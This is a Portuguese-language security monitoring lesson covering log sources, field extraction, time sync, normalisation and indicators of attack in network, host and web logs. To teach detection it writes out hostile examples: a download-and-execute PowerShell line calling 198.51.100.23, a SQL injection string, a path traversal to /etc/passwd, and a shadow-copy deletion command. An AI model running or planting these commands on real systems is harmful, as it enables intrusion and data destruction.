- Aprender
- Computação e TI
- Operações de segurança e resposta a incidentes
- Monitoramento de segurança
Monitoramento de segurança e análise de registros de eventos
IntermediárioAula 1 de 7 do curso Curso de Operações de segurança e resposta a incidentes
O que você vai aprender
- Escolha as fontes de registros de eventos que respondem a perguntas de segurança, leia os formatos e extraia os campos, mantenha a coleta completa e confiável e normalize e enriqueça os eventos para que possam ser pesquisados em conjunto.
- Escolha fontes de registros de eventos que respondam a perguntas de segurançaNomeie as principais fontes de registros de eventos de redes, hosts, aplicações e ferramentas de segurança, diga o que cada uma registra e escolha a fonte que responde a uma determinada pergunta de investigação.
- Leia formatos comuns de registros de eventos e extraia os camposLeia entradas de registros syslog, eventos do Windows, JSON, chave-valor, CEF e acesso web campo por campo e extraia campos com analisadores e expressões regulares.
- Mantenha a coleta de registros de eventos completa, oportuna e confiávelColete registros de todas as fontes de forma confiável, sincronize o tempo, proteja os registros contra adulteração, planeje o prazo de retenção e o armazenamento e perceba quando uma fonte deixa de enviar dados.
- Normalize e enriqueça eventosMapeie campos de diferentes fontes para um esquema de dados comum, padronize formatos de horário e valores e acrescente aos eventos contexto de ativos, identidade, localização e ameaças.
- Escolha fontes de registros de eventos que respondam a perguntas de segurança
- Leia registros de redes, hosts e aplicações em busca de padrões que indiquem varredura, comando e controle, uso indevido de ferramentas integradas, persistência, roubo de dados e ataques a aplicações web, e avalie as explicações inocentes para cada um.
- Identifique indicadores de redeReconheça varreduras, portas inesperadas, dispositivos não autorizados, comunicação recorrente de comando e controle, DNS suspeito, movimentação lateral e exfiltração de dados em registros de firewall, fluxo, proxy e DNS.
- Identifique indicadores de hostReconheça processos suspeitos, uso indevido de ferramentas integradas, comandos codificados, persistência, adulteração de registros de eventos, software não autorizado e uso abusivo de recursos em registros de endpoints.
- Identifique indicadores de aplicações e da webLeia registros de servidores web, aplicações e bancos de dados em busca de tentativas de injeção, varreduras, shells web, uso abusivo de contas e interrupção de serviço.
- Identifique indicadores de rede
- Use registros de auditoria da nuvem e registros de entrada e auditoria de identidades para identificar uso indevido de contas de nuvem, credenciais roubadas e alterações não autorizadas de privilégios.
- Analise registros de auditoria e de eventos de serviços na nuvemConheça os registros de eventos disponíveis na nuvem e quais são ativados por padrão, leia um evento de API na nuvem e reconheça adulteração do registro de eventos, uso indevido de credenciais, alterações arriscadas de configuração e uso abusivo de recursos.
- Analise atividades de entradaLeia registros de autenticação de provedores de identidade e do Windows e reconheça ataques de força bruta, pulverização de senhas, preenchimento de credenciais, viagem impossível, fadiga de autenticação multifator e outros sinais de credenciais roubadas.
- Acompanhe alterações em contas e privilégiosMonitore a criação de contas e credenciais, alterações na associação a grupos e funções e outras mudanças de permissões no ambiente local e na nuvem, e avalie-as em relação à administração esperada.
- Analise registros de auditoria e de eventos de serviços na nuvem
- Descreva a atividade normal com linhas de base, avalie anomalias em relação a elas e crie uma lógica de correlação no SIEM que conecte eventos ao longo do tempo e entre fontes.
- Estabeleça linhas de base e avalie anomaliasDefina como é o comportamento normal de usuários, hosts e serviços, meça desvios com estatística simples e grupos de pares e decida quando uma anomalia merece atenção.
- Escreva a lógica de correlação para regras do SIEMExplique o que um SIEM faz e projete regras de correlação (evento único, limiar, contagem de valores distintos, sequência, fontes cruzadas e ausência) com chaves de agrupamento e janelas de tempo adequadas.
- Estabeleça linhas de base e avalie anomalias
- Classifique os resultados da análise de alertas, analise cada alerta da avaliação inicial até uma decisão documentada e investigue com eficiência usando consultas, decodificação e ferramentas de reputação.
- Classifique os resultados da análise de alertasDiferencie verdadeiros e falsos positivos e negativos, incluindo verdadeiros positivos benignos, e explique por que taxas de base, precisão e fadiga de alertas tornam importante a qualidade dos alertas.
- Analise um alerta da avaliação inicial até a decisãoSiga um fluxo de triagem repetível: entenda o alerta, valide-o com os eventos brutos, acrescente contexto, determine o escopo, decida e documente, e faça o escalonamento com uma transferência clara.
- Investigue com consultas, decodificação e ferramentas de reputaçãoPesquise e faça pivoteamento investigativo em registros de eventos com consultas direcionadas, decodifique dados ofuscados, verifique com segurança a reputação de endereços, domínios e arquivos e use assistentes de IA com cuidado.
- Classifique os resultados da análise de alertas
- Transforme uma ameaça em uma regra de detecção testada e documentada, depois ajuste e mantenha as detecções para que continuem precisas conforme o ambiente muda.
- Projete, escreva e teste uma regra de detecçãoSiga o ciclo de vida da engenharia de detecção: defina o comportamento e os dados, escreva uma lógica de regra portável, faça o mapeamento para o MITRE ATT&CK, teste com dados maliciosos e normais e documente a regra.
- Ajuste detecções e acompanhe a qualidade dessas detecçõesReduza falsos positivos sem criar pontos cegos, use exclusões e limiares com cuidado, meça a qualidade da detecção e mantenha a cobertura adequada ao longo do tempo.
- Projete, escreva e teste uma regra de detecção
Guia de estudo de Monitoramento de segurança
1Construa um fluxo confiável de registros de eventos
Uma investigação útil começa antes da chegada de um alerta. Os sistemas certos precisam registrar os detalhes certos, e esses detalhes precisam chegar a um armazenamento pesquisável com o significado preservado. Aprenda a escolher fontes para perguntas específicas, ler seus formatos, proteger a coleta e dar aos eventos campos comuns e contexto útil. Essas escolhas determinam o que pesquisas e detecções posteriores poderão ver.
1.1 Associe a pergunta à evidência
Um evento é uma ocorrência observável, como uma entrada ou o início de um processo. Um registro de eventos registra ocorrências. Um alerta informa que eventos monitorados corresponderam à lógica de detecção. Um incidente ameaça ou ameaça de forma iminente informações ou sistemas, ou viola ou ameaça violar de forma iminente a lei, políticas de segurança, procedimentos ou políticas de uso aceitável. Um analista verifica as evidências antes de decidir como classificar um alerta.
Escolha uma fonte pela visão que ela oferece
| Pergunta | Fonte útil | O que ler |
|---|---|---|
| Quem entrou? | Registros de autenticação do host ou provedor de identidade | Usuário, origem, método, resultado |
| O que foi executado? | Criação de processos ou EDR | Programa, linha de comando, processo pai, usuário |
| Quem usava um endereço? | DHCP | Dispositivo e intervalo da concessão |
| Qual nome foi solicitado? | DNS | Cliente, consulta, resposta |
| Para onde foi o tráfego? | Firewall, proxy, registros de fluxo | Destino, horário, bytes, ação |
Firewalls registram conexões permitidas e negadas. Proxies e gateways web seguros acrescentam URLs, agentes de usuário e tamanhos de transferência. Gateways VPN mostram sessões remotas; ferramentas IDS/IPS relatam tráfego correspondente a suas assinaturas. Registros de fluxo de rede, incluindo NetFlow e IPFIX, resumem conversações por endereços, portas, protocolo, horário, pacotes e bytes. Eles continuam úteis para tráfego criptografado porque descrevem suas características, mas não contêm o conteúdo transportado.
Registros de host revelam atividade por trás dessas conexões. Eventos Security do Windows incluem autenticação, alterações de contas e criação de processos quando a auditoria está habilitada. Registros System e Application mostram serviços e software. Sysmon e EDR acrescentam detalhes de processos, arquivos, registro e rede. O registro de blocos de script do PowerShell registra o conteúdo de scripts no evento 4104. Mensagens de autenticação do Linux costumam aparecer em /var/log/auth.log em sistemas da família Debian ou em /var/log/secure em sistemas da família Red Hat. O diário do systemd é lido com journalctl; auditd registra a atividade selecionada por suas regras de auditoria.
Registros de acesso e erros da web, auditorias de bancos de dados e aplicações de negócio e gateways de e-mail explicam requisições e uso de dados. Achados de antivírus, DLP, WAF e scanners de vulnerabilidades acrescentam outra visão. O achado de uma ferramenta de segurança ainda é um evento a interpretar junto com a atividade subjacente.
Acompanhe um endereço ao longo do tempo
Um proxy registra um download por 10.20.30.45 às 14:02 UTC. A concessão DHCP atribui esse endereço a LAPTOP-0193 das 13:30 às 21:30 daquele dia. Pesquise os eventos de processos desse laptop em torno do horário do download. O dispositivo que usa a concessão hoje pode ser outro; associar o endereço sem considerar o intervalo da concessão pode levar a investigação ao host errado.
Verifique a coleta antes de confiar nela
Verifique uma amostra real para encontrar os campos necessários à sua pergunta. O evento 4688 do Windows precisa da política de captura de linha de comando para incluir o texto do comando. O evento de rede 3 do Sysmon é desabilitado por padrão. Um SIEM recebe apenas os dados enviados a ele. Priorize detalhes úteis em ativos críticos e identidades privilegiadas e verifique também conexões permitidas: uma conexão permitida pode transportar um ataque.
Principais conclusões
- Comece pela pergunta da investigação e depois escolha as fontes.
- Registros de fluxo mostram metadados do tráfego sem o conteúdo transportado.
- Associe um endereço IP ao dispositivo que o usava no horário do evento.
- Verifique a auditoria e os campos necessários com eventos reais de amostra.
1.2 Transforme entradas brutas em campos pesquisáveis
A análise sintática e extração de campos extrai campos nomeados de uma entrada bruta. Uma pesquisa por um fragmento de texto pode encontrar uma linha; campos extraídos permitem contar falhas por usuário, comparar endereços e ordenar por horário do evento. Mantenha a entrada bruta para poder verificar a extração.
Leia primeiro a estrutura
O syslog RFC 5424 começa com prioridade, versão, marca temporal, host, aplicação, ID do processo, ID da mensagem, dados estruturados e texto da mensagem. Marcas temporais do RFC 3164 mais antigo, como Mar 14 10:15:02, omitem o ano e o fuso horário, que precisam ser identificados a partir do contexto da fonte.
A prioridade do syslog combina categoria de origem e severidade:
Para <38>, a divisão por 8 fornece categoria de origem 4 e resto 6, Informativo. Para <34>, a mesma categoria tem severidade 2, Crítico. Os números de severidade vão de 0 Emergência a 1 Alerta, 2 Crítico, 3 Erro, 4 Aviso, 5 Notificação, 6 Informativo e 7 Depuração. Um número menor indica maior severidade. Essa é a avaliação da aplicação emissora: uma falha SSH Informativa ainda pode fazer parte de um ataque.
Arquivos EVTX do Windows podem ser visualizados como XML ou texto formatado. A seção System identifica o provedor, o ID do evento, o horário de criação em UTC, o computador e o canal. EventData contém campos específicos do evento. Para 4625, examine TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName e ProcessName. O tipo 10 significa RemoteInteractive; o tipo 2 significa um logon local interativo. O mesmo ID de evento pode descrever caminhos de acesso bem diferentes.
Extraia campos pelo significado
Analisadores de JSON procuram chaves, incluindo caminhos aninhados como responseElements.ConsoleLogin. Eles precisam lidar com campos ausentes e nulos e com mudanças na ordem das chaves. Registros chave-valor identificam valores diretamente, como em src=203.0.113.45 dport=3389 action=deny. O CEF acrescenta um cabeçalho separado por barras verticais com fornecedor, produto, assinatura, nome e severidade antes das extensões chave-valor; use um analisador que entenda as sequências de escape do formato.
Em um registro combinado de acesso web, leia endereço do cliente, identidade, usuário autenticado, horário e diferença de fuso, requisição, status, bytes da resposta, referenciador e agente de usuário. Um traço significa que um valor está ausente. Agentes de usuário são fornecidos pelos clientes, portanto o nome de um scanner é uma evidência útil, mas o nome de um navegador comum pode ser imitado.
Extraia duas formas de mensagem SSH
Esta expressão regular trata tanto um nome de usuário normal quanto a expressão “usuário inválido”:
Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)
Em Failed password for invalid user admin from 203.0.113.45 port 52114, os valores capturados são admin, 203.0.113.45 e 52114. O grupo opcional sem captura consome “invalid user ” sem torná-lo o nome de usuário. \S+ captura texto sem espaços; \d+ captura dígitos.
O padrão extrai um valor com formato de endereço; ele também aceita octetos como 999, portanto a validação do endereço é uma etapa separada. Evite .* guloso onde possa consumir um separador de campos. Reúna registros de várias linhas antes da análise e monitore falhas de análise após atualizações de software: uma estrutura alterada pode deixar silenciosamente vazios os campos de detecção.
Principais conclusões
- A extração de campos permite pesquisas e contagens por campo.
- A severidade do syslog é uma avaliação da fonte, não uma conclusão sobre um ataque.
- Use campos JSON nomeados e trate valores ausentes.
- Teste a expressão regular em diferentes formas de mensagem e mantenha a entrada bruta.
- Monitore falhas de analisadores quando os formatos de registros mudarem.
1.3 Mantenha a chegada de evidências com horários confiáveis
A coleta deve continuar funcionando durante interrupções comuns e interferências deliberadas. Uma regra precisa tem pouco valor quando sua fonte para de enviar dados ou suas marcas temporais colocam eventos na ordem errada.
Escolha e monitore o caminho
Um agente lê registros locais e pode armazená-los temporariamente, filtrá-los, criptografá-los e encaminhá-los. Caminhos sem agente incluem syslog, Windows Event Forwarding, consultas periódicas a APIs de nuvem e exportações para armazenamento ou fluxos. Cada caminho precisa de monitoramento do estado operacional. Syslog sobre UDP na porta 514 não é criptografado e não confirma a entrega. TCP acrescenta entrega confiável; syslog sobre TLS na porta 6514 acrescenta criptografia e autenticação do servidor. Use transporte confiável e criptografado em redes não confiáveis e armazene eventos temporariamente durante interrupções do coletor.
Sincronize os relógios das fontes com um serviço de tempo confiável, geralmente NTP na porta UDP 123. Armazene em UTC e mantenha a diferença de fuso original. O horário do firewall 2026-03-14 10:15:00 +02:00 equivale a 2026-03-14T08:15:00Z. Um relógio de host sete minutos adiantado coloca seus eventos tarde demais e pode inverter uma linha do tempo. Um grande desvio também impede a autenticação sensível ao tempo; o Kerberos do Windows permite cinco minutos por padrão.
O horário do evento registra quando a atividade aconteceu. O horário de ingestão registra quando a plataforma a recebeu. Eventos armazenados temporariamente e eventos da nuvem podem chegar atrasados. Correlacione pelo horário do evento e dê às pesquisas agendadas atraso ou período de consulta anterior suficientes para incluir chegadas tardias.
Proteja e retenha o registro
Encaminhe rapidamente os registros para fora dos hosts, limite privilégios de leitura e exclusão e separe o controle dos registros da administração rotineira. Armazenamento imutável e resumos criptográficos ajudam a detectar ou impedir alterações. A validação de integridade do CloudTrail usa arquivos de resumo SHA-256. Monitore 1102 do Windows para limpeza do registro de auditoria e 4719 para alterações da política de auditoria, além de ações na nuvem como StopLogging e DeleteTrail. Restrinja o acesso porque registros podem conter dados pessoais e sensíveis.
O prazo de retenção segue as necessidades de investigação e as obrigações legais, contratuais ou regulatórias aplicáveis. Por exemplo, o requisito 10.5.1 do PCI DSS v4.0 exige pelo menos 12 meses de histórico de auditoria e os três meses mais recentes imediatamente disponíveis. O armazenamento recente e pesquisável costuma ser chamado de armazenamento quente; arquivos custam menos, mas levam mais tempo para pesquisar ou restaurar. As configurações padrão podem ser curtas demais: registros de auditoria e entrada do Entra são mantidos por 7 dias no Free ou 30 dias no P1/P2, enquanto o histórico de eventos do CloudTrail oferece 90 dias de eventos de gerenciamento. A exportação permite retenção mais longa.
Estime o volume e observe o silêncio
Para 2.000 endpoints que produzem 5.000 eventos por dia a 500 bytes cada, o volume bruto diário é de 5.000.000.000 bytes, ou 5 GB. Noventa dias exigem 450 GB; um ano exige 1,825 TB antes da compressão, da indexação e de outros custos adicionais de armazenamento.
Acompanhe o volume esperado e os sinais periódicos de atividade das fontes críticas, erros de coletores, acúmulos em filas e falhas de análise. “Nenhum evento de DC01 por 30 minutos” é um alerta de estado operacional mesmo quando nenhum alerta de ataque dispara. Um padrão de registro deve especificar categorias de auditoria, captura de linha de comando, registro de scripts e detalhes adequados para cada tipo de sistema. A coleta apenas de erros deixa passar atividade de segurança; a coleta rotineira no nível de depuração pode sobrecarregar o armazenamento.
Principais conclusões
- Use armazenamento temporário e transporte confiável e criptografado em redes não confiáveis.
- Converta diferenças de fuso e diferencie o horário do evento do horário de ingestão.
- Proteja cópias centrais e monitore alterações no registro de eventos.
- Defina o prazo de retenção deliberadamente e estime o volume bruto antes dos custos adicionais.
- Gere alertas para a ausência de fontes críticas e para eventos suspeitos.
1.4 Dê aos eventos campos comuns e contexto útil
Um evento do Windows, uma mensagem do Linux e um registro da nuvem podem descrever o mesmo tipo de ação com nomes diferentes. A normalização dá a esses campos nomes, tipos e convenções de valores comuns. O enriquecimento acrescenta informações sobre as pessoas, os sistemas e os destinos envolvidos.
Normalize significados, não apenas nomes
| Fonte bruta | Campo de endereço | Campo comum |
|---|---|---|
| Windows | IpAddress | source.ip |
| Firewall | src | source.ip |
| CloudTrail | sourceIPAddress | source.ip |
Para falhas de entrada de jdoe a partir de 203.0.113.45, as três fontes podem se tornar event.category=authentication, event.outcome=failure, user.name=jdoe e source.ip=203.0.113.45. Uma regra de autenticação agrupada por origem pode então pesquisar as três.
Esquemas comuns incluem ECS, OCSF, CIM e ASIM. Os nomes de campos do exemplo seguem o estilo ECS. Um esquema também define tipos de dados e valores permitidos. Armazene endereços como valores do tipo endereço para que pesquisas por sub-rede funcionem. Converta horários para UTC em ISO 8601. Mapeie diferentes representações de sucesso ou falha para um resultado comum, usando o significado real da ação na origem. O resultado “permitido” de um firewall descreve uma decisão sobre uma conexão, não uma autenticação de usuário bem-sucedida.
Associe identidades como EXAMPLE\jdoe, jdoe@example.com e JDOE à mesma conta quando realmente a representarem. Normalizar maiúsculas e minúsculas é adequado quando a fonte trata ambas como equivalentes. Preserve as distinções quando essa diferença importa e evite unir duas pessoas apenas porque seus nomes de usuário curtos coincidem.
Acrescente contexto que muda a pergunta
O enriquecimento útil inclui responsável pelo ativo, sistema operacional, função no negócio, criticidade e exposição à internet; departamento do usuário, privilégio, condição de conta de serviço e situação de emprego; histórico DHCP; e proprietário da rede, localização aproximada e reputação de endereços públicos.
Um alerta informa falhas repetidas para svc-backup de 10.20.30.45. O contexto do ativo identifica um laptop de marketing. O contexto de identidade informa que essa conta de serviço normalmente entra apenas pelo servidor de backup 10.0.8.12. A relação inesperada merece atenção mesmo antes de a contagem de falhas se tornar grande.
Saiba quando o contexto foi anexado. O enriquecimento na ingestão preserva o contexto disponível quando o evento chegou. O enriquecimento no momento da pesquisa geralmente mostra o estado atual. O responsável atual por um ativo ou a atribuição atual de um endereço pode descrever incorretamente eventos antigos, portanto use registros históricos quando a pergunta tratar de responsabilidade no passado.
Verifique mapeamentos e reduções
A geolocalização pode ser distorcida por VPNs, operadoras móveis, proxies e hospedagem em nuvem. A reputação muda conforme a infraestrutura muda de proprietário. Use ambas como evidências de apoio e verifique a idade dessas informações. Valide mapeamentos de campos com amostras brutas: mapear um destino para source.ip pode fazer uma regra atribuir a atividade ao sistema errado.
A deduplicação remove entregas repetidas de um evento. A agregação combina vários eventos, talvez armazenando uma contagem para 1.000 negações. A agregação economiza espaço, mas descarta detalhes individuais. Mantenha os campos e eventos brutos necessários às detecções e investigações; filtrá-los na origem cria uma lacuna que nenhuma correlação posterior pode reparar.
Principais conclusões
- Normalize nomes, tipos, marcas temporais, identidades e resultados.
- O enriquecimento acrescenta contexto de ativos, identidades e destinos.
- Verifique se o contexto descreve o evento passado ou o ambiente atual.
- Valide mapeamentos com eventos brutos antes de confiar em uma regra.
2Leia padrões em registros de eventos de redes, hosts e aplicações
Um endereço suspeito é apenas uma pista. Horários, direção do tráfego, relações entre processos, padrões de requisições e ações posteriores muitas vezes dizem mais. Leia cada fonte pelo que ela pode mostrar, compare a atividade com o trabalho esperado e conecte registros independentes em uma linha do tempo. As conclusões mais fortes explicam uma sequência entre fontes, mantendo distintas as tentativas, as ações bem-sucedidas e as perguntas sem resposta.
2.1 Reconheça padrões suspeitos de rede
Um indicador de comprometimento é um artefato observável que sugere comprometimento. Um indicador atômico é um único endereço, domínio, URL ou hash. Um indicador comportamental é um padrão, como uma estação de trabalho que contata muitas outras na porta 445. Valores atômicos são rápidos de identificar e fáceis de substituir; o comportamento descreve o que a identidade executora faz.
Leia as características das conexões
Uma varredura vertical testa muitas portas em um host. Uma varredura horizontal testa uma porta em muitos hosts. Muitas conexões negadas ou reiniciadas com contagens muito pequenas de bytes são compatíveis com uma varredura, mas scanners de vulnerabilidades autorizados fazem o mesmo trabalho. Compare origem, escopo e horário. Sondagens de fundo da internet contra um perímetro têm contexto diferente de uma varredura feita por uma estação interna.
Relações inesperadas importam tanto quanto portas. Estações de trabalho que de repente se contatam por SMB 445, RDP 3389 ou WinRM 5985/5986 podem indicar movimentação lateral. Servidores de gerenciamento e hosts intermediários podem fazer isso legitimamente. Um servidor de banco de dados que inicia SSH, uma estação exposta à internet que aceita RDP ou tráfego cujo protocolo não combina com a porta merece uma análise mais detalhada. Um número de porta sugere um serviço; não determina o protocolo real.
Novos endereços MAC em registros de DHCP, switches, NAC ou controladores sem fio podem revelar dispositivos não autorizados. Compare com o inventário e os registros de integração: uma nova impressora e um dispositivo desconhecido em um segmento de servidores criam riscos diferentes.
Examine repetição e nomes
A comunicação recorrente de comando e controle é o contato repetido com o servidor de comando e controle. Os horários 0, 60, 121, 180, 241, 299, 360, 421, 480 e 540 segundos resultam em intervalos com média de 60 segundos e dispersão de cerca de 1,1 segundo. Requisições pequenas, um agente de usuário repetido e continuidade durante a noite reforçam o padrão. Verifique o processo que inicia as conexões e o destino, pois atualizadores e sistemas de telemetria também contatam servidores. Atacantes podem acrescentar atraso aleatório, ou variação dos intervalos de comunicação.
O DNS oferece outra visão. Um algoritmo de geração de domínios pode produzir muitos nomes de aparência aleatória e muitas respostas NXDOMAIN. O tunelamento DNS pode produzir rótulos longos, numerosos subdomínios únicos sob um domínio e volume incomum de consultas TXT. Um rótulo DNS é limitado a 63 caracteres. A entropia de Shannon mede a aleatoriedade dos caracteres: example tem cerca de 2,52 bits por caractere, enquanto x9f3kq7z2b8wp1md tem 4,0. Entropia alta também aparece em nomes legítimos da nuvem; combine-a com volume de consultas, histórico do destino e idade do domínio.
Acompanhe volume e direção
Possíveis sinais de exfiltração incluem transferências de saída excepcionalmente grandes para novos destinos, horários incomuns ou uma alta proporção entre envio e recebimento. Um servidor que envia 2,3 GB enquanto recebe 40 MB tem uma proporção de 57,5 para 1, usando unidades decimais. Verifique backups e tarefas de sincronização conhecidos antes de decidir por que isso aconteceu. HTTPS esconde o conteúdo transportado, mas ainda expõe metadados úteis de volume e horário.
O NAT pode colocar muitos dispositivos atrás de um endereço público. Identifique a origem interna usando registros de NAT, proxy ou firewall interno no horário relevante. O país de um destino, sozinho, oferece contexto insuficiente para decidir se uma conexão é maliciosa.
Principais conclusões
- Compare varreduras com fontes e horários autorizados.
- Investigue conexões inesperadas entre dispositivos e uso inesperado de serviços.
- Combine pistas de comunicação recorrente ou DNS com contexto do processo e do destino.
- Verifique direção, volume e destino da transferência e tarefas esperadas.
- Resolva o NAT antes de atribuir a um dispositivo a atividade de um endereço público.
2.2 Conecte a atividade de processos à persistência
A telemetria de host conecta a atividade de rede ao programa e ao usuário responsáveis. A criação de processos é especialmente útil: 4688 do Windows com captura de linha de comando ou 1 do Sysmon mostra o novo processo, a linha de comando, o processo pai e o usuário. O Sysmon também fornece hashes e identificadores de processos úteis para conectar eventos.
Leia o processo pai e os argumentos
| Relação entre processos | Motivo para investigar |
|---|---|
winword.exe inicia powershell.exe | Um documento pode ter iniciado um script |
w3wp.exe inicia cmd.exe | Uma requisição web pode ter alcançado um shell |
services.exe inicia um programa na pasta temporária de um usuário | Um serviço pode apontar para um arquivo em que um atacante pode gravar |
Ferramentas legítimas e assinadas podem ser usadas indevidamente como binários legítimos do sistema usados em ataques. certutil.exe pode baixar arquivos, mshta.exe pode executar conteúdo de script remoto e rundll32.exe pode carregar uma DLL de uma pasta em que se pode gravar. vssadmin delete shadows /all /quiet remove cópias de sombra e pode preceder um ransomware. Avalie em conjunto os argumentos, o processo pai, o usuário, o caminho, o signatário e as ações ao redor. Um nome de arquivo familiar, sozinho, diz pouco sobre a intenção.
O -EncodedCommand do PowerShell contém texto UTF-16LE codificado em Base64. A decodificação do comando do exemplo resulta em iwr http://198.51.100.23/a.ps1|iex: baixar um script e executá-lo na memória. Codificação e janelas ocultas também ocorrem na administração. Leia o conteúdo decodificado e, quando disponível, o evento 4104 de bloco de script.
Procure uma forma de voltar
A persistência permite acesso após reinicialização ou saída da sessão. Observe novos serviços (7045 em System ou 4697 em Security), tarefas agendadas (4698), valores Run do registro (Sysmon 13), arquivos de inicialização (Sysmon 11) e novas contas locais (4720). No Linux, revise entradas do cron, unidades do systemd e novas chaves em ~/.ssh/authorized_keys. Uma tarefa que aponta para C:\Users\Public\upd.exe precisa de uma explicação diferente daquela para uma implantação de software documentada.
Limpeza de registros (1102), alterações da política de auditoria (4719), um serviço do Sysmon interrompido (Sysmon 4) ou a remoção de um agente de EDR podem indicar adulteração do monitoramento. Verifique prontamente os registros de manutenção. Outras pistas incluem ferramentas de acesso remoto não aprovadas, acesso incomum à memória de lsass.exe (Sysmon 10) e alterações rápidas de arquivos com mensagens de exigência de resgate. Uso alto de CPU ou GPU pode ser compatível com mineração de criptomoedas, mas compare a carga de trabalho e as tarefas agendadas; um pico breve é uma evidência fraca.
Construa a cadeia de execução
Às 09:12:04 UTC, o Outlook inicia o Word com Invoice_8841.docm. Às 09:12:31, o Word inicia PowerShell codificado. Às 09:12:33, esse processo do PowerShell conecta-se a 198.51.100.23:80; às 09:12:40, upd.exe é gravado; às 09:13:02, uma tarefa agendada o inicia no logon. Conecte os registros de processos e arquivos, não apenas marcas temporais próximas. A cadeia mostra entrega, execução, download e persistência e fundamenta o escalonamento. A telemetria de host ausente deve permanecer como uma lacuna visível no registro.
Principais conclusões
- Use processos pais e linhas de comando para interpretar a execução.
- Ferramentas assinadas do sistema podem ser usadas indevidamente.
- Decodifique comandos codificados e examine o conteúdo dos scripts.
- Verifique alvos de persistência, criadores e registros de alterações.
- Conecte eventos de host em uma linha do tempo e investigue adulterações do monitoramento.
2.3 Leia tentativas na web e seus resultados
Registros web e de aplicações revelam atividade oculta dentro de conexões HTTPS comuns. Registros de acesso descrevem requisições, códigos de resposta, tamanhos e informações declaradas pelo cliente. Auditorias de aplicações e bancos de dados acrescentam quem acessou dados, alterou permissões, executou consultas ou exportou registros.
Decodifique a requisição
A codificação de URL representa bytes com % seguido de dois dígitos hexadecimais. O fragmento id=1%27%20OR%201%3D1--%20 torna-se id=1' OR 1=1-- , sugerindo injeção de SQL. O caminho ..%2F..%2F..%2Fetc%2Fpasswd torna-se ../../../etc/passwd, sugerindo travessia de diretórios. Outras pistas incluem UNION SELECT, tags de script ou separadores de shell seguidos de comandos.
Decodifique as camadas em ordem. %252e%252e%252f torna-se %2e%2e%2f e depois ../. Mantenha a requisição bruta e a interpretação decodificada; substituir o original faz perder a evidência de como a entrada foi enviada.
Leia a sequência em torno da resposta
| Observação | Interpretação útil |
|---|---|
Muitas respostas 404 em caminhos não relacionados | Descoberta ou navegação forçada |
401 ou 403 repetidos em torno da autenticação | Possíveis tentativas de adivinhação ou falhas de acesso |
Entrada semelhante a injeção seguida de 500 | A entrada pode ter interrompido o processamento no backend |
200 com resposta muito maior | Possível retorno de dados; verifique evidências da aplicação |
Pico de requisições com 503 e tempos limite esgotados | Interrupção de serviço que exige análise da causa |
Os códigos descrevem o tratamento HTTP, não todo o resultado de segurança. Algumas aplicações usam 200 para páginas de erro, e um WAF pode retornar uma página de bloqueio com 200. Um agente de usuário de scanner é controlado pelo cliente. Nem um agente de usuário familiar nem uma requisição bloqueada resolve a investigação.
Na sequência do exemplo, um cliente faz 412 requisições em três minutos, com 398 retornando 404. Uma tentativa de injeção retorna então 500; uma requisição posterior com UNION SELECT retorna 200 com 48.210 bytes contra os 2.100 habituais. O aumento de cerca de 23 vezes no tamanho após as tentativas sustenta a possibilidade de exposição de dados. Verifique consultas ao banco de dados e eventos de auditoria da aplicação para estabelecer o que realmente foi retornado.
Conecte evidências da aplicação e do host
Um shell web é um script que permite a um atacante executar comandos por requisições web. Um novo script em uma pasta de uploads, requisições POST repetidas de poucos clientes e parâmetros como cmd= justificam investigação. Um processo correspondente do servidor web iniciando cmd.exe ou /bin/sh acrescenta evidência direta de execução no host.
Observe também identidades de aplicações: sucessos após falhas, origens inesperadas de chaves de API, sequências intensas que atingem limites de requisições e um usuário comum exportando milhares de registros podem revelar uso abusivo de contas. Esses padrões exigem campos de auditoria úteis, não apenas registros de erros. Se requisições e erros aumentarem abruptamente após uma implantação, examine a implantação e as origens dos clientes junto com as hipóteses de ataque; uma versão defeituosa ou um aumento real de tráfego também podem causar interrupção.
Principais conclusões
- Decodifique requisições suspeitas mantendo o texto bruto.
- Use em conjunto o status, o tamanho da resposta e a atividade ao redor.
- Conecte requisições web à execução no host e ao acesso ao banco de dados.
- Colete campos de auditoria da aplicação para ações de usuários e de API.
3Acompanhe atividades na nuvem e de identidades
Alterações em recursos de nuvem e atividades de identidade podem revelar um atacante antes de aparecer um alerta de host. Aprenda quais registros descrevem gerenciamento de recursos, acesso a dados e entradas; depois conecte identidades às permissões e credenciais que elas alteram. A automação cria muita atividade normal, portanto compare cada ação com a função esperada da identidade, sua origem e o processo de alteração, e acompanhe o que aconteceu após o acesso bem-sucedido.
3.1 Separe o gerenciamento da nuvem do uso de dados
Provedores de nuvem protegem sua infraestrutura; clientes devem habilitar, coletar e revisar dados de monitoramento de suas contas, identidades e recursos. Cliques no console, scripts, ferramentas de linha de comando e modelos de infraestrutura geralmente gerenciam recursos por APIs. A trilha de auditoria dessas ações responde quem criou, alterou ou excluiu um recurso. A atividade dentro de uma máquina virtual ou aplicação ainda precisa de registros da carga de trabalho.
Escolha a camada certa da nuvem
| Camada | O que registra | Exemplos |
|---|---|---|
| Plano de controle | Gerenciamento de recursos e permissões | Gerenciamento do CloudTrail, Azure Activity, Google Admin Activity |
| Plano de dados | Acesso a dados armazenados | Eventos de dados do CloudTrail, Google Data Access |
| Rede | Conversações e metadados de transferência | Registros de fluxo de VPC ou rede virtual |
| Carga de trabalho ou serviço | Atividade de aplicações e plataformas | Registros de VM, WAF, balanceador de carga, auditorias do Kubernetes |
O histórico de eventos do CloudTrail fornece 90 dias de eventos de gerenciamento registrados por região. Histórico mais longo e cobertura mais ampla exigem configuração deliberada, e eventos de dados são desativados por padrão. Registros Google Admin Activity são sempre gravados e não podem ser desabilitados; registros Data Access são desativados por padrão, exceto para BigQuery. Habilite a coleta útil de acesso a dados em recursos sensíveis e considere o volume gerado.
Leia uma ação na nuvem campo por campo
No CloudTrail, eventTime está em UTC; eventSource identifica o serviço; eventName identifica a ação de API. userIdentity identifica quem fez a chamada, enquanto requestParameters identifica o alvo e as configurações solicitados. Leia também sourceIPAddress, userAgent, awsRegion, responseElements e qualquer errorCode ou errorMessage.
Para uma entrada no console, examine ConsoleLogin de signin.amazonaws.com, o sucesso ou a falha em responseElements.ConsoleLogin e additionalEventData.MFAUsed. Para uma nova chave, diferencie quem fez a chamada do usuário nomeado em requestParameters.userName. Podem ser identidades diferentes.
Reconheça indicadores de nuvem relacionados
